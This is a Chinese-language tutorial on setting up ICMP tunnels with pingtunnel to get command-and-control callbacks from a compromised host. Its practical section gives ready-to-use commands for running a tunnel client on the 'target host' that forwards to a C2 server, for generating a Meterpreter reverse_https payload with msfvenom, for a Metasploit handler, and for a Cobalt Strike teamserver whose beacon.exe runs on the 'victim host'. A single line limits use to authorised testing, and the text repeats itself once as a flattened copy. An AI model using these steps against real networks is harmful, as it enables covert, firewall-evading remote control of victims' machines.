内网知识之ICMP隧道搭建
字数 1575 2025-08-10 08:28:13

ICMP隧道搭建技术详解

一、ICMP隧道基础概念

1. 隧道技术概述

隧道技术是一种绕过端口屏蔽的通信方式,通过将数据包封装在防火墙允许的协议或端口中进行传输。当数据包到达目的地后,再将其还原并发送到目标服务器。

2. 常见隧道类型

  • 网络层隧道:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层隧道:TCP隧道、UDP隧道、常规端口转发
  • 应用层隧道:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

3. 内网连通性判断方法

  • ICMP协议:ping <IP地址或域名>
  • TCP协议:使用netcat(nc)工具,如nc -l 192.168.191.1 80
  • HTTP协议:curl www.baidu.com
  • DNS协议:nslookup

二、内网穿透常用工具

1. 网络层工具

  • icmpsh:通过ICMP协议反弹cmd,功能单一且不稳定
  • icmptunnel:创建虚拟网卡通过ICMP传输流量,需要root权限
  • pingtunnel:支持TCP/UDP/SOCKS5 over ICMP,速度快且稳定,推荐使用

2. 传输层隧道工具

  • netcat:网络工具中的瑞士军刀
  • powercat:PowerShell版的netcat
  • socat:具有记录转发流功能
  • netsh:Windows自带的网络配置工具
  • lcx:端口转发工具
  • NATBypass:lcx的Golang实现
  • iox:端口转发和内网代理工具

3. 应用层隧道工具

  • dnscat2:创建DNS隧道和C2
  • dns2tcp:TCP over DNS
  • iodine:IPv4 over DNS
  • reGeorg/reDuh/Tunna:HTTP隧道工具
  • ABPTTS:TCP over HTTP,数据加密
  • EarthWorm/Termite/Venom:多级SOCKS代理工具

三、ICMP隧道实战应用

1. 工具安装

  • Kali安装pingtunnel
    wget https://github.com/esrrhs/pingtunnel/releases
    
  • Kali安装libpcap
    wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
    tar -xzvf libpcap-1.9.0.tar.gz
    cd libpcap-1.9.0
    ./configure
    
  • Windows安装pingtunnel
    从GitHub下载对应版本的可执行文件

2. 构建ICMP隧道上线Metasploit

  1. 服务端设置(Kali):

    ./pingtunnel -type server -noprint 1 -nolog 1
    
  2. 客户端设置(目标主机):

    pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
    

    参数说明:

    • -l:本地监听IP和端口
    • -s:ICMP服务端IP
    • -t:目标C2服务器IP和端口
  3. 生成Meterpreter payload

    msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe
    
  4. 启动MSF监听

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_https
    set lhost 0.0.0.0
    set lport 7777
    run
    

3. 通过Cobalt Strike上线

  1. 服务端设置(Kali):

    ./pingtunnel -type server -noprint 1 -nolog 1
    
  2. 客户端设置(目标主机):

    pingtunnel.exe -type client -l :7777 -s 192.168.200.14 -t 192.168.200.47:8899 -tcp 1 -noprint 1 -nolog 1
    
  3. Cobalt Strike服务端配置

    ./teamserver 服务端IP地址 连接密码
    

    注意:Teamserver必须以root权限运行

  4. 客户端连接

    • 输入服务端IP、端口和连接密码
    • 设置监听本地IP地址和端口(7777)
  5. 生成并执行Payload

    • 在受害主机上执行生成的beacon.exe
    • 可调整心跳时间:sleep 5(设置为5秒)
    • 执行命令需加shell前缀,如shell whoami

四、注意事项

  1. ICMP隧道适用于目标主机只有ICMP协议可以出网的场景
  2. 使用pingtunnel时,客户端模式不需要管理员权限
  3. Cobalt Strike中默认心跳为60秒,可根据实际情况调整
  4. 多次点击Payload会导致多次上线,需通过任务管理器结束多余进程
  5. 本技术仅限合法授权测试使用,不得用于非法用途

五、流量走向分析

  1. Metasploit场景
    pingtunnel服务端 → pingtunnel客户端7777 → pingtunnel服务端7777

  2. Cobalt Strike场景
    客户端7777端口 → 通过ICMP隧道 → 服务端8899端口

通过ICMP隧道技术,可以在严格网络限制环境下建立隐蔽的通信通道,实现内网穿透和远控目的。

ICMP隧道搭建技术详解 一、ICMP隧道基础概念 1. 隧道技术概述 隧道技术是一种绕过端口屏蔽的通信方式,通过将数据包封装在防火墙允许的协议或端口中进行传输。当数据包到达目的地后,再将其还原并发送到目标服务器。 2. 常见隧道类型 网络层隧道 :IPv6隧道、ICMP隧道、GRE隧道 传输层隧道 :TCP隧道、UDP隧道、常规端口转发 应用层隧道 :SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道 3. 内网连通性判断方法 ICMP协议: ping <IP地址或域名> TCP协议:使用netcat(nc)工具,如 nc -l 192.168.191.1 80 HTTP协议: curl www.baidu.com DNS协议: nslookup 二、内网穿透常用工具 1. 网络层工具 icmpsh :通过ICMP协议反弹cmd,功能单一且不稳定 icmptunnel :创建虚拟网卡通过ICMP传输流量,需要root权限 pingtunnel :支持TCP/UDP/SOCKS5 over ICMP,速度快且稳定,推荐使用 2. 传输层隧道工具 netcat:网络工具中的瑞士军刀 powercat:PowerShell版的netcat socat:具有记录转发流功能 netsh:Windows自带的网络配置工具 lcx:端口转发工具 NATBypass:lcx的Golang实现 iox:端口转发和内网代理工具 3. 应用层隧道工具 dnscat2:创建DNS隧道和C2 dns2tcp:TCP over DNS iodine:IPv4 over DNS reGeorg/reDuh/Tunna:HTTP隧道工具 ABPTTS:TCP over HTTP,数据加密 EarthWorm/Termite/Venom:多级SOCKS代理工具 三、ICMP隧道实战应用 1. 工具安装 Kali安装pingtunnel : Kali安装libpcap : Windows安装pingtunnel : 从GitHub下载对应版本的可执行文件 2. 构建ICMP隧道上线Metasploit 服务端设置 (Kali): 客户端设置 (目标主机): 参数说明: -l :本地监听IP和端口 -s :ICMP服务端IP -t :目标C2服务器IP和端口 生成Meterpreter payload : 启动MSF监听 : 3. 通过Cobalt Strike上线 服务端设置 (Kali): 客户端设置 (目标主机): Cobalt Strike服务端配置 : 注意:Teamserver必须以root权限运行 客户端连接 : 输入服务端IP、端口和连接密码 设置监听本地IP地址和端口(7777) 生成并执行Payload : 在受害主机上执行生成的beacon.exe 可调整心跳时间: sleep 5 (设置为5秒) 执行命令需加 shell 前缀,如 shell whoami 四、注意事项 ICMP隧道适用于目标主机只有ICMP协议可以出网的场景 使用pingtunnel时,客户端模式不需要管理员权限 Cobalt Strike中默认心跳为60秒,可根据实际情况调整 多次点击Payload会导致多次上线,需通过任务管理器结束多余进程 本技术仅限合法授权测试使用,不得用于非法用途 五、流量走向分析 Metasploit场景 : pingtunnel服务端 → pingtunnel客户端7777 → pingtunnel服务端7777 Cobalt Strike场景 : 客户端7777端口 → 通过ICMP隧道 → 服务端8899端口 通过ICMP隧道技术,可以在严格网络限制环境下建立隐蔽的通信通道,实现内网穿透和远控目的。